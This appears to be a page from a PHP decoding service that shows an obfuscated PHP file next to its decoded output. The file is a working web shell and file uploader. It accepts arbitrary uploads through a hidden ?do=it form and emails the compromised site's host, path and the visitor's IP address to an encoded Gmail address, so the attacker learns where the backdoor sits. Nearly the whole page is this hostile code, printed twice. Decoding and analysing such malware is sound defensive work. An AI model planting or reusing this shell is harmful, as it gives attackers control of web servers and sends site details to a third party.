Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"\x47L\x4f\x42\x41L\x53"}["\x6ae\x74\x75vy\x69"]="f7"; ..
Decoded Output download
<?php ${"GLOBALS"}["jetuvyi"]="f7"; ${"GLOBALS"}["treqgoljhhk"]="ab"; ${"GLOBALS"}["cbfnbsdb"]="xa"; ${"GLOBALS"}["fnsnpmpy"]="s6"; ${"GLOBALS"}["ajqkwhzp"]="c4"; ${"GLOBALS"}["utmjuu"]="m5";$qstptt="b3"; ${"GLOBALS"}["xqkkcw"]="b3"; ${"GLOBALS"}["layopjtm"]="a2"; ${"GLOBALS"}["dvmdrmb"]="y1"; ${"GLOBALS"}["osigmdocx"]="o0";$qyesjrmhc="o0"; ${${"GLOBALS"}["osigmdocx"]}=$_GET[base64_decode("ZG8=")]; if(${$qyesjrmhc}==base64_decode("aXQ=")){${"GLOBALS"}["mdnkliomu pv"]="y1"; ${${"GLOBALS"}["dvmdrmb"]}=$_FILES[base64_decode("ZmlsZQ==")][base6 4_decode("bmFtZQ==")]; ${${"GLOBALS"}["layopjtm"]}=$_FILES[base64_decode("ZmlsZQ==")][base 64_decode("dG1wX25hbWU=")];echo base64_decode("PGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlP SdtdWx0aXBhcnQvZm9ybS1kYXRhJz4NCiA8aW5wdX\x 51gdHlwZT0nZmlsZSduYW1lPSdmaWxlJyAvPg0KIDxpbnB 1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSd1cGxvYWQgc2hlb GwnIC8+DQo8L2Zvcm0+"); move_uploaded_file(${${"GLOBALS"}["layopjtm"]}, ${${"GLOBALS"}["mdnkliomupv"]}); }${${"GLOBALS"}["xqkkcw"]}=getenv(base64_decode("UkVNT1RFX0FER\x 46I="));$pbzdzxkwvcw="k9"; ${"GLOBALS"}["xuylgiuret"]="m5"; ${${"GLOBALS"}["ajqkwhzp"]}=rand(1,99999);$tbanxexlelx="f7"; ${"GLOBALS"}["eumkwdg"]="h8"; ${${"GLOBALS"}["xuylgiuret"]}=" Shell |$b3"; ${${"GLOBALS"}["fnsnpmpy"]}=base64_decode("cm9jaGRpc3A3Q\x 47dtYWlsLmNvbQ=="); ${$tbanxexlelx}=base64_decode("RnJvbTogTiFnaE0xcjMgPHgtR\x 32hvc3REej4=");$yzdbrberd="ab"; ${${"GLOBALS"}["eumkwdg"]}=$_SERVER[base64_decode("UkVRVUVTV\ x469VUkk=")];${$pbzdzxkwvcw}=$_SERVER[base64_decode("SFRUUF9IT1NU")]; ${${"GLOBALS"}["cbfnbsdb"]}=${$qstptt}."";$vvpwrmsr="s6"; ${$yzdbrberd}="$k9$h8?do=it $xa";mail(${$vvpwrmsr}, ${${"GLOBALS"}["utmjuu"]}, ${${"GLOBALS"}["treqgoljhhk"]}, ${${"GLOBALS"}["jetuvyi"]});if($_POST){if(@ copy($_FILES[base64_decode("Zg==")][base64_decode("dG1wX25hbWU=")], $_FILES[base64_decode("Zg==")][base64_decode("bmFtZQ==")])){echobase64_decode("PG\ x49+YmVyaGFzaWw8L2I+LS0+"). $_FILES[base64_decode("Zg==")][base64_decode("bmFtZQ==")]; }else{echobase64_decode("PGI+Z2FnYWw=");}}else{echo base64_decode("PGZvcm0gbWV0aG9kPXBvc3QgZW5jdHl wZT1tdWx0aXBhcnQvZm9ybS1kYXRhPjxpbn\x 421dCB0eXBlPWZpbGUgbmFtZT1mPjxpbnB1dCBuYW1lPXYg\x 64HlwZT1zdWJtaXQgaWQ9diB2YWx1ZT11cD48YnI+"); } ?>
Did this file decode correctly?
Original Code
<?php ${"\x47L\x4f\x42\x41L\x53"}["\x6ae\x74\x75vy\x69"]="f7"; ${"\x47L\x4f\x42\x41L\x53"}["\x74\x72e\x71\x67\x6f\x6cjhh\x6b"]="ab"; ${"\x47\x4c\x4f\x42ALS"}["\x63bfn\x62\x73\x64\x62"]="\x78a"; ${"G\x4c\x4f\x42\x41\x4c\x53"}["f\x6es\x6ep\x6d\x70\x79"]="\x73\x36"; ${"\x47\x4cO\x42\x41\x4c\x53"}["\x61\x6aq\x6b\x77\x68\x7a\x70"]="\x63\x34"; ${"\x47L\x4fB\x41\x4c\x53"}["u\x74\x6d\x6a\x75u"]="\x6d\x35";$qstptt="b3"; ${"GL\x4fB\x41\x4cS"}["\x78q\x6b\x6b\x63\x77"]="b\x33"; ${"G\x4c\x4fBAL\x53"}["la\x79o\x70\x6a\x74\x6d"]="\x61\x32"; ${"\x47\x4c\x4fBA\x4cS"}["\x64\x76\x6d\x64\x72mb"]="y1"; ${"G\x4c\x4f\x42\x41\x4cS"}["\x6f\x73\x69\x67md\x6f\x63\x78"]="o\x30";$qyesjrmhc="\x6f\x30"; ${${"\x47LOB\x41\x4c\x53"}["\x6f\x73i\x67\x6dd\x6f\x63\x78"]}=$_GET[base64_decode("ZG8=")]; if(${$qyesjrmhc}==base64_decode("a\x58Q\x3d")){${"G\x4c\x4f\x42A\x4cS"}["\x6d\x64\x6ek\x6c\x69\x6fm\x75 \x70\x76"]="y1"; ${${"\x47\x4c\x4f\x42ALS"}["d\x76\x6ddr\x6d\x62"]}=$_FILES[base64_decode("Zm\x6cs\x5a\x51\x3d=")][base6 4_decode("\x62mF\x74\x5a\x51=\x3d")]; ${${"\x47\x4cO\x42A\x4c\x53"}["\x6c\x61y\x6fp\x6a\x74m"]}=$_FILES[base64_decode("Zml\x73Z\x51==")][base 64_decode("\x64G\x31\x77X\x325h\x62WU\x3d")];echo base64_decode("\x50GZvc\x6d\x30\x67b\x57\x560aG9\x6b\x50Sd\x51T\x31NUJ\x79\x42\x6cb\x6d\x4e\x30e\x58BlP S\x64td\x57x\x30a\x58Bhcn\x51v\x5a\x6d\x39\x79\x62S\x31\x6b\x59\x58\x52h\x4az\x34N\x43iA\x38aW5\x77dX\x 51gd\x48\x6cw\x5aT\x30\x6e\x5aml\x73\x5a\x53duY\x571lPS\x64\x6da\x57x\x6c\x4ayAv\x50g\x30KIDx\x70\x62nB \x31d\x43B0\x65XBlP\x53\x64\x7a\x64WJt\x61\x58Q\x6e\x49HZh\x62H\x56lPSd1\x63\x47\x78v\x59WQgc2\x68\x6cb \x47\x77nIC8+\x44Qo\x38\x4c\x32Zvc\x6d\x30+"); move_uploaded_file(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6c\x61\x79opjt\x6d"]}, ${${"\x47L\x4fB\x41\x4c\x53"}["\x6d\x64n\x6bl\x69o\x6du\x70v"]}); }${${"G\x4cO\x42A\x4cS"}["\x78q\x6bk\x63w"]}=getenv(base64_decode("\x55\x6b\x56NT\x31R\x46X0\x46E\x52\x 46\x49="));$pbzdzxkwvcw="\x6b\x39"; ${"\x47L\x4fB\x41\x4c\x53"}["\x78\x75\x79\x6cgi\x75\x72e\x74"]="m\x35"; ${${"\x47\x4cO\x42\x41\x4c\x53"}["\x61\x6aq\x6b\x77\x68\x7a\x70"]}=rand(1,99999);$tbanxexlelx="f\x37"; ${"GL\x4f\x42\x41LS"}["\x65u\x6d\x6b\x77\x64g"]="\x688"; ${${"\x47\x4c\x4fB\x41\x4c\x53"}["x\x75ylgiu\x72\x65t"]}=" Sh\x65l\x6c\x20 |$b3"; ${${"\x47L\x4f\x42A\x4cS"}["\x66\x6es\x6ep\x6d\x70y"]}=base64_decode("\x63m\x39j\x61\x47Rp\x633A\x33Q\x 47dt\x59\x57lsL\x6d\x4evbQ=\x3d"); ${$tbanxexlelx}=base64_decode("RnJ\x76\x62\x54\x6f\x67T\x69\x46\x6ea\x45\x30x\x63j\x4d\x67P\x48g\x74R\x 32\x68\x76c3\x52\x45\x65j\x34=");$yzdbrberd="\x61\x62"; ${${"\x47\x4cO\x42AL\x53"}["\x65u\x6d\x6b\x77\x64\x67"]}=$_SERVER[base64_decode("UkV\x52V\x55\x56T\x56\ x469V\x55kk\x3d")];${$pbzdzxkwvcw}=$_SERVER[base64_decode("S\x46R\x55UF9IT\x31\x4eU")]; ${${"G\x4c\x4f\x42\x41\x4cS"}["\x63\x62\x66\x6ebs\x64b"]}=${$qstptt}."";$vvpwrmsr="\x73\x36"; ${$yzdbrberd}="$k9$h8?\x64o\x3di\x74 $xa";mail(${$vvpwrmsr}, ${${"G\x4c\x4f\x42\x41\x4cS"}["\x75t\x6d\x6a\x75\x75"]}, ${${"G\x4c\x4f\x42A\x4c\x53"}["\x74\x72e\x71g\x6f\x6c\x6ahhk"]}, ${${"G\x4c\x4fBALS"}["\x6a\x65\x74\x75\x76yi"]});if($_POST){if(@ copy($_FILES[base64_decode("Zg\x3d=")][base64_decode("d\x471wX\x325hb\x57U=")], $_FILES[base64_decode("\x5ag=\x3d")][base64_decode("b\x6dF\x74Z\x51\x3d=")])){echobase64_decode("\x50G\ x49+YmVya\x47Fz\x61W\x77\x38L\x32\x49+\x4cS0+"). $_FILES[base64_decode("\x5a\x67=\x3d")][base64_decode("b\x6dF\x74Z\x51\x3d\x3d")]; }else{echobase64_decode("P\x47\x49+\x5a2F\x6eY\x57\x77=");}}else{echo base64_decode("\x50G\x5a\x76c\x6d0\x67\x62\x57\x560\x61\x479\x6bPX\x42v\x63\x33Qg\x5aW\x35\x6ad\x48\x6c wZ\x54\x31\x74d\x57\x78\x30\x61\x58\x42\x68c\x6eQ\x76\x5a\x6d\x39yb\x53\x31\x6b\x59XRhP\x6a\x78pb\x6e\x 42\x31\x64CB\x30eXB\x6cPW\x5ap\x62GU\x67b\x6dFtZT\x31m\x50\x6ax\x70bn\x421\x64C\x42uYW\x31lPX\x59\x67\x 64\x48\x6cwZ\x541zd\x57\x4a\x74\x61X\x51\x67\x61WQ\x39d\x69B2\x59W\x781\x5a\x541\x31c\x44\x348YnI+"); }
Function Calls
None |
Stats
MD5 | c030c262c0441a9d806f3bc24a618166 |
Eval Count | 0 |
Decode Time | 48 ms |